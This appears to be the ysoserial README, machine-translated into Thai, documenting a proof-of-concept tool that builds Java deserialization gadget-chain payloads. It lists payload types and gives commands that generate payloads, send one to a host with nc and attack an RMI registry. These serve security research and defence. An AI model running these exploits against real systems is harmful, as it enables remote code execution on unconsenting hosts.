ysoserial

ysoserial

เครื่องมือพิสูจน์แนวคิดสำหรับการสร้างเพย์โหลดที่ใช้ประโยชน์จากการดีซีเรียลไลซ์อ็อบเจ็กต์ Java ที่ไม่ปลอดภัย

คำอธิบาย

เปิดตัวครั้งแรกโดยเป็นส่วนหนึ่งของ AppSecCali 2015 Talk "Marshalling Pickles: วัตถุดีซีเรียลไลซ์จะทำลายวันของคุณอย่างไร" ด้วยกลุ่มอุปกรณ์สำหรับ Apache Commons Collections (3.x และ 4.x), Spring Beans/Core (4.x) และ Groovy ( 2.3.x) อัปเดตในภายหลังเพื่อรวมกลุ่มอุปกรณ์เพิ่มเติมสำหรับ JRE <= 1.7u21 และไลบรารีอื่น ๆ อีกหลายแห่ง

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. โปรแกรมไดรเวอร์หลักรับคำสั่งที่ผู้ใช้ระบุและรวมไว้ในกลุ่มอุปกรณ์ที่ผู้ใช้ระบุ จากนั้นจึงซีเรียลไลซ์อ็อบเจ็กต์เหล่านี้ให้เป็น stdout เมื่อแอปพลิเคชันที่มีอุปกรณ์ที่จำเป็นบนคลาสพาธทำการดีซีเรียลไลซ์ข้อมูลนี้อย่างไม่ปลอดภัย ห่วงโซ่จะถูกเรียกใช้โดยอัตโนมัติและทำให้คำสั่งถูกดำเนินการบนโฮสต์แอปพลิเคชัน

ควรสังเกตว่าช่องโหว่นั้นอยู่ในแอปพลิเคชันที่ทำงานการดีซีเรียลไลซ์ที่ไม่ปลอดภัย และไม่ได้อยู่ในการมีอุปกรณ์บนคลาสพาธ

ข้อสงวนสิทธิ์

ซอฟต์แวร์นี้ถูกสร้างขึ้นเพื่อวัตถุประสงค์ในการวิจัยเชิงวิชาการและเพื่อการพัฒนาเทคนิคการป้องกันที่มีประสิทธิผลเท่านั้น และไม่ได้มีวัตถุประสงค์เพื่อใช้ในการโจมตีระบบ เว้นแต่จะได้รับอนุญาตอย่างชัดเจน ผู้ดูแลโครงการจะไม่รับผิดชอบหรือรับผิดต่อการใช้ซอฟต์แวร์ในทางที่ผิด ใช้อย่างมีความรับผิดชอบ

การใช้งาน

$  java -jar ysoserial.jar
Y SO SERIAL ?
Usage: java -jar ysoserial.jar [payload] ' [command] '
  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     MozillaRhino2       @_tint0                     js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

ตัวอย่าง

$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

การติดตั้ง

ดาวน์โหลด jar รุ่นล่าสุดจากรุ่น GitHub

อาคาร

ต้องใช้ Java 1.7+ และ Maven 3.x+

mvn clean package -DskipTests

สถานะรหัส

มีส่วนร่วม

1. ส้อมมัน
2. สร้างสาขาคุณลักษณะของคุณ ( git checkout -b my-new-feature )
3. ยอมรับการเปลี่ยนแปลงของคุณ ( git commit -am 'Add some feature' )
4. ผลักดันไปที่สาขา ( git push origin my-new-feature )
5. สร้างคำขอดึงใหม่

ดูเพิ่มเติม

• Java-Deserialization-Cheat-Sheet: ข้อมูลเกี่ยวกับช่องโหว่ เครื่องมือ บล็อก/การเขียนบทความ ฯลฯ
• marshalsec: โครงการที่คล้ายกันสำหรับรูปแบบ/ไลบรารีดีซีเรียลไลเซชัน Java ต่างๆ
• ysoserial.net: โครงการที่คล้ายกันสำหรับการดีซีเรียลไลซ์ .NET